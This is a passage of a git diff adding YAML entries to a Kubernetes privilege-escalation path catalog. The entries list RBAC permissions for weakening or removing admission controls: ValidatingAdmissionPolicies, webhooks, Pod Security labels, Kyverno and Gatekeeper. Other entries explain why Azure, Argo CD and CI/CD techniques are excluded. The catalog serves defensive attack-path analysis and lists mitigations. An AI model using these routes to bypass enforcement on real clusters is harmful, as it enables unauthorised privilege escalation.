src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#re-arm-the-built-in-cluster-admin--graft-an-attacker-entra-admin-group-managedclusterswrite + technique: AKS managedClusters/write admin reconfiguration + reason: Azure ARM write to cluster authentication settings; source and target are Azure/Entra identities, handled by the azure catalog. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#vm-scale-set-run-command-on-aks-workers + technique: VMSS Run Command on AKS workers + reason: Azure compute permission is required; Kubernetes RBAC cannot invoke the VMSS API. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#external-oidc-authentication-on-aks + technique: External OIDC authentication on AKS + reason: Trust and group mappings configure authentication; this heading supplies no Kubernetes source permission that creates a new identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#kubernetes-rbac-operations + technique: AKS Kubernetes RBAC operations + reason: The Kubernetes verbs discussed are already modelled by rbac.yaml, workloads.yaml and admission_control.yaml; AKS does not change their permission combinations here. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#azure-red-hat-openshift-aro-cluster-credentials + technique: ARO cluster credential retrieval + reason: Azure ARM ARO credential actions belong to the azure catalog, not a Kubernetes source principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-kubernetes-post-exploitation.md#node--kubelet-managed-identity-theft-via-imds--cluster--azure-pivot + technique: AKS node managed-identity credentials from IMDS + reason: The same node-to-cloud-identity edge is k8s-cloud-node-cloud-identity; node compromise is the prerequisite. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-kubernetes-post-exploitation.md#add-an-attacker-influenced-node-pool-agentpoolswrite + technique: AKS agentPools/write + reason: Creates or changes Azure-managed node pools through ARM; Azure catalog owns the source permission. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-kubernetes-post-exploitation.md#api-server-network-exposure-managedclusterswrite--apiserveraccessprofile + technique: AKS API-server network exposure + reason: ARM write changes network reachability and grants no Kubernetes principal identity. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-kubernetes-post-exploitation.md#cluster-certificate-rotation--invalidate-all-kubeconfigs-rotateclustercertificatesaction + technique: AKS cluster certificate rotation + reason: Availability and credential invalidation action, not acquisition of another principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#flux-gitops-self-healing-foothold-fluxconfigurationswrite--sourcecontrolconfigurationswrite + technique: Azure Flux configuration persistence + reason: Source write is Azure ARM; a Kubernetes principal's direct Flux Kustomization write is modelled separately in workloads.yaml. +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#cluster-extension-install--privileged-in-cluster-components-extensionswrite + technique: AKS extension install + reason: Azure ARM extension permission deploys a privileged component; no Kubernetes RBAC source grant. +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#re-arm-the-built-in-cluster-admin--attacker-entra-admin-group-managedclusterswrite + technique: AKS admin group reconfiguration persistence + reason: Same Azure managedClusters/write authentication change as the azure catalog path. +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#reset-aad--service-principal-profile-resetaadprofile--resetserviceprincipalprofile + technique: AKS AAD or service-principal reset + reason: Azure ARM reset actions change cluster control-plane credentials; no Kubernetes source principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#related-workload-identity-federated-credential + technique: Federated-credential persistence + reason: Entra federated credential writes are Azure-side; an existing Kubernetes ServiceAccount's federated identity edge is k8s-cloud-aks-workload-identity. +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#trusted-access-role-binding--service-identity-access-through-the-aks-gateway-trustedaccessrolebindingswrite + technique: AKS Trusted Access role binding + reason: Azure ARM trustedAccessRoleBindings/write delegates access to an Azure service identity; no Kubernetes RBAC source grant. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-aks-kubernetes-unauth.md#anonymous-privileged-api-operations + technique: Anonymous privileged Kubernetes API operations + reason: Exposure is evaluated through system:anonymous and system:unauthenticated RBAC group membership; no separate permission combination. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-aks-kubernetes-unauth.md#anonymous-privileged-kubelet-operations + technique: Anonymous kubelet execution + reason: Network-exposed kubelet configuration is not collected and has no authenticated Kubernetes RBAC source principal. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-aks-kubernetes-unauth.md#exposed-workloads--imds-ssrf--azure-managed-identity-token + technique: Exposed workload SSRF to Azure IMDS + reason: Application SSRF and network reachability are not Kubernetes RBAC grants; a node credential reached through Kubernetes is modelled by cloud_pivot.yaml. +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-kubernetes-doks.md#enumeration + technique: DOKS enumeration + reason: Read-only API and cluster discovery; no distinct privilege-escalation permission. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-persistence/controllers-and-admission.md#operator-custom-resources + technique: Generic operator custom-resource persistence + reason: The CR field that becomes code or an RBAC grant under the operator's identity is operator-specific and not derivable from RBAC; concrete Flux, Argo CD and Crossplane deputies are in workloads.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-persistence/workloads-and-gitops.md#gitops-helm-operators-and-mutable-images + technique: Generic Helm, operator and mutable-image persistence + reason: Flux and Argo CD Kubernetes object writes are already modelled; registry/Git source writes and generic operator template fields are not Kubernetes RBAC permissions collected by the evaluator. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/helm-template-injection.md#helm-values-yaml-injection + technique: Generic Helm values YAML injection + reason: A values edit escalates only through a particular vulnerable chart and a more privileged applier; those template fields and external Git/CI writers are not derivable from the Kubernetes RBAC snapshot. + +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/access-and-common-concepts.md#kubeconfig-contexts-and-kubectl + technique: Malicious kubeconfig exec credential plugin + reason: An attacker must control a local kubeconfig or its referenced executable and induce another user to run + a client command. Execution and the user's local credentials are workstation runtime facts outside the Kubernetes + and cloud configuration snapshot; no Kubernetes API permission or identifiable catalog target follows from the + kubeconfig warning alone. + +- source: src/pentesting-cloud/kubernetes-security/kubernetes-persistence/workloads-and-gitops.md#helm-release-source-as-a-return-path + technique: Patch existing Flux HelmRelease values under a stronger applier + reason: HelmRelease patch/update permission alone does not show that an existing release accepts the change or + that its chart renders attacker-controlled values into a privileged object. The selected chart content, ownership + and later reconciliation, effective deployer ServiceAccount, and admission result must be verified; the current + snapshot does not collect these content and runtime facts. + +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#pivot-through-an-allowed-application + technique: URL fetcher acts as allowed network intermediary + reason: NetworkPolicy and Service objects cannot establish that the application accepts a caller-controlled destination, + forwards the request, or is authorized by the backend. The application's fetch behavior and a successful live + second hop are required to prove use of the intermediary's access. + +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#abusing-exposed-kubernetes-management-services + technique: Use exposed management app stronger Kubernetes credential + reason: Service exposure does not show that the caller can authenticate to or exploit NiFi, Kubeflow, Argo Workflows, + Weave Scope, or Dashboard. Each application's runtime authentication, reachable endpoint, credential use, and + effective Kubernetes grants must be verified; no common Kubernetes RBAC source permission establishes this edge. + +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#other-gitops-and-platform-controller-source-changes + technique: Crossplane ProviderConfig kubeconfig applies into remote cluster + reason: Object write permission does not identify the referenced ProviderConfig's Secret credential or the remote + cluster and its effective RBAC. The ProviderConfig-to-Secret reference, kubeconfig content/credential validity, + remote endpoint, and remote authorization must be collected and joined before this can target a remote principal. + The existing Crossplane entry covers only InjectedIdentity in the local cluster. + +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#tested-admission-control-mutations + source_revision: 0b36331 + technique: Create validating webhook to receive a later credential-bearing Secret AdmissionReview + reason: The webhook receives a Secret only if a later create or update request matches its rules and the API server + reaches its trusted TLS endpoint. An existing token Secret is never sent retroactively. The later request, delivered + AdmissionReview content, token validity, and ownership of a stronger identity are runtime/content facts absent + from a configuration snapshot; create validatingwebhookconfigurations alone cannot establish a credential edge. + Noncredential Secret observations remain data disclosure. + +- source: src/pentesting-ci-cd/argocd-security.md#public-api--ui-attacks + technique: Use Argo CD application write through its own API/RBAC to deploy attacker manifests + reason: The Argo CD API uses Argo CD RBAC rather than Kubernetes applications CRD write grants. Effective Argo + CD policy, API authentication, project constraints, sync state and controller identity are not collected; the + existing Kubernetes entry covers only direct CRD writes. + +- source: src/pentesting-ci-cd/argocd-security.md#trusted-git-repository-abuse + technique: Push attacker manifests to an Argo CD trusted Git repository + reason: A Git push is useful only for a repository and path consumed by an Application that can sync into an allowed + destination. SCM rights, repository-to-Application mapping, project restrictions and sync state are uncollected. + +- source: src/pentesting-ci-cd/argocd-security.md#public-api--ui-attacks + technique: Steal Argo CD repository credentials or local/project tokens + reason: Repository SSH keys, GitHub App credentials and local/project API tokens are distinct from registered-cluster + Secrets. Their secret type, bytes, validity, scopes and the source’s read permission are not collected. + +- source: src/pentesting-ci-cd/argocd-security.md#unauthenticated-repo-server-rce-via-kustomize-options + technique: Reach internal repo-server gRPC and execute attacker repository payload + reason: The repo-server exploit requires network reachability to its internal gRPC endpoint, an affected version/request + behavior and attacker repository content. Kubernetes pod creation or API read alone proves none of these runtime + facts. + +- source: src/pentesting-ci-cd/argocd-security.md#redis-cache-poisoning-to-deploy-manifests + technique: Poison Argo CD Redis manifest and Git-ref cache to make controller apply a manifest + reason: Redis cache poisoning requires reachable Redis with usable authentication, writable mfst and git-refs + entries, a susceptible Argo CD version, sync and permissible project/controller rights. Cache contents and runtime + networking are absent. + +- source: src/pentesting-ci-cd/argocd-security.md#applicationset-attacks + technique: Control ApplicationSet Git or pull-request generator input to create privileged Applications + reason: ApplicationSet generator input can create privileged Applications only when attacker-controlled Git or + PR data feeds template fields that permit the desired destination and sync. Generator/template fields, SCM rights, + project policy and sync state are uncollected; direct CRD write also needs these joins. + +- source: src/pentesting-ci-cd/argocd-security.md#post-exploitation + technique: Steal Argo CD pod-mounted repository, cloud, Redis or cluster credentials + reason: A pod shell may expose mounted repository, cloud or Redis credentials, but the mounted bytes, validity + and target principal are not collected. The existing pods/exec entry covers the pod ServiceAccount, and the + cluster-Secret entry covers readable Argo CD registered-cluster Secrets. diff --git a/src/privilege-escalation-paths-research/k8s/_excluded_ci_cd.yaml b/src/privilege-escalation-paths-research/k8s/_excluded_ci_cd.yaml new file mode 100644 index 0000000000..a9cbdff8b5 --- /dev/null +++ b/src/privilege-escalation-paths-research/k8s/_excluded_ci_cd.yaml @@ -0,0 +1,16 @@ +# Reviewed source techniques without a supported principal escalation edge. +- source: src/pentesting-ci-cd/github-security/basic-github-information.md#git-action-runner + source_revision: 0b36331 + technique: Read AWS/GCP metadata from self-hosted runner + reason: The self-hosted runner must actually run attacker-controlled code and expose a reachable AWS/GCP + metadata identity; GitHub runner-to-host and cloud-role bindings are missing. +- source: src/pentesting-ci-cd/pentesting-ci-cd-methodology.md#exploitation-benefits + source_revision: 0b36331 + technique: Select more privileged runner/agent and steal metadata identity + reason: Requires control of runner scheduling or code execution on a host with reachable metadata credentials. + CI scheduling and host identity binding are not collected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#agent-cloud-pivoting + source_revision: 0b36331 + technique: Read AWS/Azure/GCP metadata or Kubernetes SA token on agent + reason: Requires code on a TeamCity agent and reachable cloud metadata or Kubernetes SA token tied to that + agent. Existing K8s pod rules have a different source permission; TeamCity agent placement is uncollected. diff --git a/src/privilege-escalation-paths-research/k8s/_excluded_sweep.yaml b/src/privilege-escalation-paths-research/k8s/_excluded_sweep.yaml new file mode 100644 index 0000000000..fee6f8f63f --- /dev/null +++ b/src/privilege-escalation-paths-research/k8s/_excluded_sweep.yaml @@ -0,0 +1,5 @@ +# Reviewed privilege-escalation sweep exclusions. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#mesh-identity-confused-deputy-through-ssrf + technique: Use SSRF in a trusted mesh workload to make requests under its workload identity + reason: A successful edge requires application-specific SSRF behavior, a live mesh dataplane and backend response. Kubernetes + RBAC and policy objects alone cannot establish the runtime request or privilege use. diff --git a/src/privilege-escalation-paths-research/k8s/admission_control.yaml b/src/privilege-escalation-paths-research/k8s/admission_control.yaml new file mode 100644 index 0000000000..8b22d77709 --- /dev/null +++ b/src/privilege-escalation-paths-research/k8s/admission_control.yaml @@ -0,0 +1,297 @@ +# Kubernetes admission-control removal: techniques that lift an enforcement control (ValidatingAdmissionPolicy, +# admission webhooks, Pod Security Admission, Kyverno/Gatekeeper) instead of reaching a principal. Target kind +# k8s_admission_control (one entity per cluster) with target.removes_blockers; outcome blocker_removal. +# Lift (schema section 13): a reach held by a blocker is restored when its source also reaches k8s_admission_control +# through an entry whose removes_blockers covers every blocker of that reach (directly or along a chain). +# Conventions: see header of rbac.yaml. Source: hacktricks-cloud rev 171e422. + +- id: k8s-admission-validating-policy-weaken + provider: k8s + service: admission + title: Weaken or remove a ValidatingAdmissionPolicy or its binding + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#tested-admission-control-mutations + source_revision: 171e422 + summary: The source can lift ValidatingAdmissionPolicy enforcement by patching, replacing or deleting a policy or its binding (e.g. validationActions Warn, expression true). + requires: + all_of: [] + any_of: + - - {verb: patch, resource: validatingadmissionpolicies, api_group: admissionregistration.k8s.io, namespace: "*"} + - - {verb: update, resource: validatingadmissionpolicies, api_group: admissionregistration.k8s.io, namespace: "*"} + - - {verb: delete, resource: validatingadmissionpolicies, api_group: admissionregistration.k8s.io, namespace: "*"} + - - {verb: patch, resource: validatingadmissionpolicybindings, api_group: admissionregistration.k8s.io, namespace: "*"} + - - {verb: update, resource: validatingadmissionpolicybindings, api_group: admissionregistration.k8s.io, namespace: "*"} + - - {verb: delete, resource: validatingadmissionpolicybindings, api_group: admissionregistration.k8s.io, namespace: "*"} + target: + kind: k8s_admission_control + selector: + any_principal_in_scope: true + scope: cluster + removes_blockers: [admission_policy] + aggregate_as: "Admission enforcement of {cluster}" + conditions: + - id: binding_currently_enforces + description: Only meaningful when a binding currently enforces a policy that matches a request the source wants admitted; other admission layers may still reject it. + blockers: [] + confidence: conditional + severity: high + mitigation: Grant write/delete on validatingadmissionpolicies and bindings only to cluster administrators and alert on changes. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/ + notes: HackTricks (171e422) reproduced binding patch to Warn, policy expression patch to true and policy/binding delete on Kubernetes 1.37 with deny-change-admit controls. + +- id: k8s-admission-webhook-configuration-weaken + provider: k8s + service: admission + title: Weaken or delete an admission webhook configuration + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#tested-admission-control-mutations + source_revision: a66f094ede + summary: The source can lift enforcement by patching, replacing or deleting a validating or mutating webhook configuration that actually rejects the desired request. + requires: + all_of: [] + any_of: + - - {verb: patch, resource: validatingwebhookconfigurations, api_group: admissionregistration.k8s.io, namespace: "*"} + - - {verb: update, resource: validatingwebhookconfigurations, api_group: admissionregistration.k8s.io, namespace: "*"} + - - {verb: delete, resource: validatingwebhookconfigurations, api_group: admissionregistration.k8s.io, namespace: "*"} + - - {verb: patch, resource: mutatingwebhookconfigurations, api_group: admissionregistration.k8s.io, namespace: "*"} + - - {verb: update, resource: mutatingwebhookconfigurations, api_group: admissionregistration.k8s.io, namespace: "*"} + - - {verb: delete, resource: mutatingwebhookconfigurations, api_group: admissionregistration.k8s.io, namespace: "*"} + target: + kind: k8s_admission_control + selector: + any_principal_in_scope: true + scope: cluster + removes_blockers: [admission_webhook] + aggregate_as: "Admission enforcement of {cluster}" + conditions: + - id: webhook_currently_enforces + description: Only meaningful when a webhook currently blocks a request the source wants admitted; policy engines may reconcile their webhook configurations back. + blockers: [] + confidence: conditional + severity: high + mitigation: Grant write/delete on webhook configurations only to cluster administrators and the policy engine's own controller. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/ + notes: HackTricks (171e422) reproduced validatingwebhookconfigurations patch (failurePolicy Fail to Ignore) and mutatingwebhookconfigurations delete. A mutating-webhook grant does not by itself disable Kyverno or Gatekeeper validation; the validating-webhook variant is modelled separately below. Mutating webhook writes that inject code are k8s-workloads-mutating-webhook-injection. + +- id: k8s-admission-policy-engine-validating-webhook-weaken + provider: k8s + service: admission + title: Weaken a Kyverno or Gatekeeper validating webhook + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#abusing-kyverno-and-gatekeeper-vwc + source_revision: a66f094ede + summary: The source can lift Kyverno or Gatekeeper validation by changing or deleting the validating webhook configuration that enforces a blocking policy. + requires: + all_of: [] + any_of: + - - {verb: patch, resource: validatingwebhookconfigurations, api_group: admissionregistration.k8s.io, namespace: "*"} + - - {verb: update, resource: validatingwebhookconfigurations, api_group: admissionregistration.k8s.io, namespace: "*"} + - - {verb: delete, resource: validatingwebhookconfigurations, api_group: admissionregistration.k8s.io, namespace: "*"} + target: + kind: k8s_admission_control + selector: + any_principal_in_scope: true + scope: cluster + removes_blockers: [kyverno_policy, gatekeeper_constraint] + aggregate_as: "Policy-engine validation of {cluster}" + conditions: + - id: policy_engine_webhook_selected + description: The grant must cover the actual Kyverno or Gatekeeper validating webhook configuration and its rules must match the request; a different webhook or a mutating-only grant does not lift this blocker. + - id: policy_engine_reconciliation + description: The policy engine may restore its webhook configuration, limiting the bypass window; other admission checks still apply. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict validatingwebhookconfigurations writes and deletions to cluster administrators and the policy-engine controller. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/ + notes: Kyverno and Gatekeeper validating webhook names and installation layout vary; verify the configuration that enforces the specific policy before drawing this conditional edge. + +- id: k8s-admission-namespace-label-exit + provider: k8s + service: admission + title: Change namespace labels to leave admission selectors or Pod Security levels + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#tested-admission-control-mutations + source_revision: 171e422 + summary: The source can lift Pod Security Admission levels and namespaceSelector-scoped policies or webhooks for a namespace by changing its labels, including through namespaces/status or namespaces/finalize. + requires: + all_of: [] + any_of: + - - {verb: patch, resource: namespaces, namespace: "*"} + - - {verb: update, resource: namespaces, namespace: "*"} + - - {verb: patch, resource: namespaces, subresource: status, namespace: "*"} + - - {verb: update, resource: namespaces, subresource: status, namespace: "*"} + - - {verb: update, resource: namespaces, subresource: finalize, namespace: "*"} + target: + kind: k8s_admission_control + selector: + any_principal_in_scope: true + scope: cluster + removes_blockers: [pod_security_admission, admission_policy, admission_webhook] + aggregate_as: "Admission enforcement of {cluster}" + conditions: + - id: label_scoped_enforcement + description: Lifts only enforcement selected by namespace labels (PSA pod-security.kubernetes.io labels, binding or webhook namespaceSelector); kubernetes.io/metadata.name is immutable and cluster-wide policies are unaffected. + - id: namespace_scoped_effect + description: The effect is limited to the namespaces whose labels the source can change. + blockers: [] + confidence: conditional + severity: high + mitigation: Treat namespaces patch/update and namespaces/status and namespaces/finalize as privileged; enforce PSA with a cluster default or a policy that protects the labels. + references: + - https://kubernetes.io/docs/concepts/security/pod-security-admission/ + notes: HackTricks (171e422) reproduced namespace-label exits from a ValidatingAdmissionPolicyBinding, a validating webhook and Pod Security Admission, including via exact patch namespaces/status or update namespaces/finalize on Kubernetes 1.37. + +- id: k8s-admission-fail-open-webhook-backend + provider: k8s + service: admission + title: Disrupt the backend of a fail-open admission webhook + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#disrupting-a-fail-open-webhook-backend + source_revision: 171e422 + summary: The source can lift a webhook with failurePolicy Ignore by deleting its Service, scaling or deleting its sole backing Deployment, or forging its backend pod unready. + requires: + all_of: [] + any_of: + - - {verb: delete, resource: services, namespace: "*"} + - - {verb: get, resource: deployments, api_group: apps, namespace: "*"} + - {verb: patch, resource: deployments, subresource: scale, api_group: apps, namespace: "*"} + - - {verb: get, resource: deployments, api_group: apps, namespace: "*"} + - {verb: update, resource: deployments, subresource: scale, api_group: apps, namespace: "*"} + - - {verb: delete, resource: deployments, api_group: apps, namespace: "*"} + - - {verb: patch, resource: pods, subresource: status, namespace: "*"} + target: + kind: k8s_admission_control + selector: + any_principal_in_scope: true + scope: cluster + removes_blockers: [admission_webhook, kyverno_policy, gatekeeper_constraint] + aggregate_as: "Admission enforcement of {cluster}" + conditions: + - id: webhook_fail_open + description: The webhook must use failurePolicy Ignore; failurePolicy Fail turns the disruption into a denial of service, not a bypass. Kyverno and Gatekeeper are lifted only when their own webhooks are fail-open (Gatekeeper defaults to Ignore; Kyverno resource webhooks default to Fail). + - id: grant_covers_webhook_namespace + description: The grant must cover the webhook backend's namespace and objects (the evaluator checks cluster-wide grants only), and every ready endpoint must belong to the disrupted Service or Deployment. + blockers: [] + confidence: conditional + severity: medium + mitigation: Use failurePolicy Fail for security webhooks, run several replicas, and restrict writes in the webhook namespace. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#failure-policy + notes: HackTricks (171e422) reproduced each variant on Kubernetes 1.37. Webhook namespaces and failurePolicy values are not yet matched by this entry, so namespace-scoped grants in the webhook namespace are not detected (cluster-wide grants only). + +- id: k8s-admission-policy-engine-excluded-namespace + provider: k8s + service: admission + title: Create a namespace excluded by a policy-engine webhook + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#abusing-kyverno-and-gatekeeper-vwc + source_revision: 171e422 + summary: The source can escape Kyverno or Gatekeeper enforcement by creating a namespace whose name the policy webhook's namespaceSelector excludes but which does not exist yet. + requires: + all_of: + - {verb: create, resource: namespaces, namespace: "*"} + target: + kind: k8s_admission_control + selector: + any_principal_in_scope: true + scope: cluster + removes_blockers: [kyverno_policy, gatekeeper_constraint, admission_webhook] + aggregate_as: "Admission enforcement of {cluster}" + conditions: + - id: excluded_namespace_absent + description: The webhook's namespaceSelector must exclude a namespace name (kubernetes.io/metadata.name NotIn) that does not exist; webhook selectors are not evaluated by this entry. + - id: source_can_use_new_namespace + description: The source needs cluster-wide workload grants (or becomes admin of the namespace it created) to use the excluded namespace. + blockers: [] + confidence: conditional + severity: medium + mitigation: Pre-create or remove every namespace name listed in policy-engine exclusions and restrict namespace creation. + references: + - https://kyverno.io/docs/installation/customization/#namespace-selectors + notes: Other patterns on the page (opt-out objectSelector labels, broad policy exceptions) are not modelled. + +- id: k8s-admission-kyverno-policy-weaken + provider: k8s + service: admission + title: Weaken, delete or except a Kyverno policy + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#abusing-kyverno-and-gatekeeper-vwc + source_revision: a66f094ede + summary: The source can lift Kyverno enforcement by patching (Audit mode, broader exclude block), replacing or deleting a ClusterPolicy, Policy or ValidatingPolicy, or by creating a PolicyException that exempts its own requests. + requires: + all_of: [] + any_of: + - - {verb: patch, resource: clusterpolicies, api_group: kyverno.io, namespace: "*"} + - - {verb: update, resource: clusterpolicies, api_group: kyverno.io, namespace: "*"} + - - {verb: delete, resource: clusterpolicies, api_group: kyverno.io, namespace: "*"} + - - {verb: patch, resource: policies, api_group: kyverno.io, namespace: "*"} + - - {verb: update, resource: policies, api_group: kyverno.io, namespace: "*"} + - - {verb: delete, resource: policies, api_group: kyverno.io, namespace: "*"} + - - {verb: patch, resource: validatingpolicies, api_group: policies.kyverno.io, namespace: "*"} + - - {verb: update, resource: validatingpolicies, api_group: policies.kyverno.io, namespace: "*"} + - - {verb: delete, resource: validatingpolicies, api_group: policies.kyverno.io, namespace: "*"} + - - {verb: patch, resource: imagevalidatingpolicies, api_group: policies.kyverno.io, namespace: "*"} + - - {verb: update, resource: imagevalidatingpolicies, api_group: policies.kyverno.io, namespace: "*"} + - - {verb: delete, resource: imagevalidatingpolicies, api_group: policies.kyverno.io, namespace: "*"} + - - {verb: create, resource: policyexceptions, api_group: kyverno.io, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: policyexceptions, api_group: kyverno.io, namespace: "{pivot.namespace}"} + - - {verb: update, resource: policyexceptions, api_group: kyverno.io, namespace: "{pivot.namespace}"} + - - {verb: create, resource: policyexceptions, api_group: policies.kyverno.io, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: policyexceptions, api_group: policies.kyverno.io, namespace: "{pivot.namespace}"} + - - {verb: update, resource: policyexceptions, api_group: policies.kyverno.io, namespace: "{pivot.namespace}"} + target: + kind: k8s_admission_control + selector: + any_principal_in_scope: true + scope: cluster + removes_blockers: [kyverno_policy] + aggregate_as: "Admission enforcement of {cluster}" + conditions: + - id: policy_currently_enforces + description: Only meaningful when an Enforce-mode Kyverno rule blocks a request the source wants admitted; Kyverno policies are not collected, so the evaluator cannot tell which policy blocks. + - id: namespaced_policy_scope + description: A namespaced Policy only applies in its own namespace; weakening it does not lift ClusterPolicies. + - id: policy_exceptions_enabled + description: PolicyExceptions are honoured only when the feature is enabled and the exception is created in a namespace Kyverno accepts exceptions from (exceptionNamespace). + blockers: [] + confidence: conditional + severity: medium + mitigation: Restrict write/delete on Kyverno policies and PolicyException creation to platform administrators; restrict exceptions to a dedicated namespace. + references: + - https://kyverno.io/docs/exceptions/ + notes: HackTricks (a66f094ede) lists write access to Kyverno policies or exception resources as a Kyverno/Gatekeeper bypass and rates such writes medium until an end-to-end path is validated (node-permissions-and-status.md#policy-and-scheduling-control-objects). Exception namespaces and policy contents are not collected. Webhook-configuration writes are k8s-admission-webhook-configuration-weaken. + +- id: k8s-admission-gatekeeper-constraint-weaken + provider: k8s + service: admission + title: Weaken or delete a Gatekeeper constraint, template or exemption config + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#abusing-kyverno-and-gatekeeper-vwc + source_revision: a66f094ede + summary: The source can lift Gatekeeper enforcement by switching a constraint to dryrun or warn, narrowing its match, deleting it or its ConstraintTemplate, or adding its namespace to the Gatekeeper Config exclusions. + requires: + all_of: [] + any_of: + - - {verb: patch, resource_match: any, api_group: constraints.gatekeeper.sh, namespace: "*"} + - - {verb: update, resource_match: any, api_group: constraints.gatekeeper.sh, namespace: "*"} + - - {verb: delete, resource_match: any, api_group: constraints.gatekeeper.sh, namespace: "*"} + - - {verb: patch, resource: constrainttemplates, api_group: templates.gatekeeper.sh, namespace: "*"} + - - {verb: update, resource: constrainttemplates, api_group: templates.gatekeeper.sh, namespace: "*"} + - - {verb: delete, resource: constrainttemplates, api_group: templates.gatekeeper.sh, namespace: "*"} + - - {verb: patch, resource: configs, api_group: config.gatekeeper.sh, namespace: "*"} + - - {verb: update, resource: configs, api_group: config.gatekeeper.sh, namespace: "*"} + target: + kind: k8s_admission_control + selector: + any_principal_in_scope: true + scope: cluster + removes_blockers: [gatekeeper_constraint] + aggregate_as: "Admission enforcement of {cluster}" + conditions: + - id: constraint_currently_enforces + description: Only meaningful when a deny-mode constraint blocks a request the source wants admitted; Gatekeeper constraints are not collected, so the evaluator cannot tell which constraint blocks. + - id: config_object_namespace + description: The Gatekeeper Config object lives in the Gatekeeper namespace (gatekeeper-system by default); a namespaced grant elsewhere does not cover it. + blockers: [] + confidence: conditional + severity: medium + mitigation: Restrict writes to constraints.gatekeeper.sh, templates.gatekeeper.sh and config.gatekeeper.sh resources to platform administrators. + references: + - https://open-policy-agent.github.io/gatekeeper/website/docs/exempt-namespaces/ + notes: HackTricks (a66f094ede) lists write access to Gatekeeper constraints as a Kyverno/Gatekeeper bypass and rates such writes medium until an end-to-end path is validated (node-permissions-and-status.md#policy-and-scheduling-control-objects). Every constraint kind is its own resource in constraints.gatekeeper.sh, hence resource_match any. Webhook-configuration writes are k8s-admission-webhook-configuration-weaken; creating an excluded namespace is k8s-admission-policy-engine-excluded-namespace. diff --git a/src/privilege-escalation-paths-research/k8s/challenge-v3-azure.yaml b/src/privilege-escalation-paths-research/k8s/challenge-v3-azure.yaml new file mode 100644 index 0000000000..1d13007277 --- /dev/null +++ b/src/privilege-escalation-paths-research/k8s/challenge-v3-azure.yaml @@ -0,0 +1,31 @@ +# Azure challenge review: exact attested facts only; no broad permission-based identity inference. +- id: k8s-v3-33-missing-configmap-name-squatting + provider: k8s + service: challenge + title: Missing ConfigMap name squatting + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#configmap-name-squatting-and-live-update + summary: A missing ConfigMap may only block the pod. The narrow executable-path variant has an observable configuration + route and remains conditional on a future start. + requires: + all_of: [] + source_kind: + - k8s_user + - k8s_service_account + target: + kind: k8s_service_account + selector: + k8s_challenge_fact: k8s-v3-33-missing-configmap-name-squatting + scope: any + outcome: workload_execution + aggregate_as: Exact reviewed target for Missing ConfigMap name squatting + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. missing ConfigMap ref -> mounted key path -> container command/args executes that path -> pod SA; pod_created_or_retried_and_executes_projected_script + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed k8s_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. diff --git a/src/privilege-escalation-paths-research/k8s/cloud_pivot.yaml b/src/privilege-escalation-paths-research/k8s/cloud_pivot.yaml new file mode 100644 index 0000000000..cae3c53d88 --- /dev/null +++ 